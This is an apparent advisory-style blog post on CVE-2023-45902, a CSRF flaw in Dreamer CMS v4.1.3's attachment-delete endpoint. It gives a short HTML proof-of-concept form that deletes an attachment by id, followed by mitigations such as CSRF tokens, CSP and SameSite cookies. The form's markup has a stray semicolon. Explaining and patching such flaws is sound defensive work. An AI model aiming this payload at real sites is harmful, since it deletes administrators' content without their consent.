Security researchers have discovered a vulnerability (CVE-2023-45902) in Dreamer CMS v4.1.3, which allows an attacker to perform Cross-Site Request Forgery (CSRF) through the /admin/attachment/delete component. This post will provide deeper insights into this vulnerability, and demonstrate how one can exploit it. We will also discuss some potential mitigation strategies to address this vulnerability.

Exploit Details

Dreamer CMS is a popular Content Management System used for building websites and managing web content efficiently. Unfortunately, the /admin/attachment/delete component of Dreamer CMS v4.1.3 has a CSRF vulnerability that attackers can exploit to perform unauthorized actions on the targeted website without the user's consent.

Official References

- CVE-2023-45902
- National Vulnerability Database

Understanding CSRF Attacks

Cross-Site Request Forgery is a type of web security vulnerability that tricks a user into executing unwanted actions on a web application in which they're authenticated. An attacker could exploit this vulnerability by crafting a malicious URL or using a form on another website that sends a request to the vulnerable component.

Code Snippet Demonstrating the Vulnerability

This code snippet demonstrates how an attacker might create an HTML form that sends a POST request to the vulnerable component:

<!DOCTYPE html>
<html>
<body>
  <h1>Exploiting Dreamer CMS's CSRF Vulnerability (CVE-2023-45902)</h1>
  <form action="http://www.example.com/admin/attachment/delete"; method="POST">
    <input type="hidden" name="id" value="12345" />
    <input type="submit" value="Delete Attachment" />
  </form>
</body>
</html>

When the form is submitted, a request is sent to the /admin/attachment/delete component, deleting an attachment with the specified id.

Mitigation

To protect your Dreamer CMS v4.1.3 from CSRF attacks, consider implementing the following recommendations:

1. Upgrade: Keep your software up-to-date. Developers often fix security vulnerabilities in newer versions of their products. Check if there's a secure version of Dreamer CMS available, and upgrade to it as soon as possible.

2. CSRF Tokens: Implement unique CSRF tokens for each session. For each POST request, validate the submitted token against the stored token in the user's session. Only process the request if the tokens match. This will prevent unauthorized requests from being executed.

// Example: Generating and validating CSRF tokens on the server-side
session_start();

function generate_csrf_token() {
  if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
  }
  return $_SESSION['csrf_token'];
}

function valid_csrf_token($submitted_token) {
  return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $submitted_token);
}

3. Content Security Policy (CSP): Create a strong CSP for your application that prevents the loading and execution of malicious assets. CSP works by specifying a set of allowed sources of content for your application.

4. SameSite Cookie Attribute: Set the SameSite attribute to 'strict' or 'lax' for your session cookies. This prevents the browser from sending cookies when making cross-site requests.

Conclusion

Dreamer CMS v4.1.3 is affected by the CSRF vulnerability CVE-2023-45902, which can lead to unauthorized actions being performed without the user's knowledge. By understanding the exploit details, reviewing the code snippet provided, and following the recommended mitigations, you can better protect your web application from this issue. Always stay vigilant and keep your software updated to defend against emerging security threats.

Timeline

Published on: 10/17/2023 14:15:10 UTC
Last modified on: 10/18/2023 17:55:36 UTC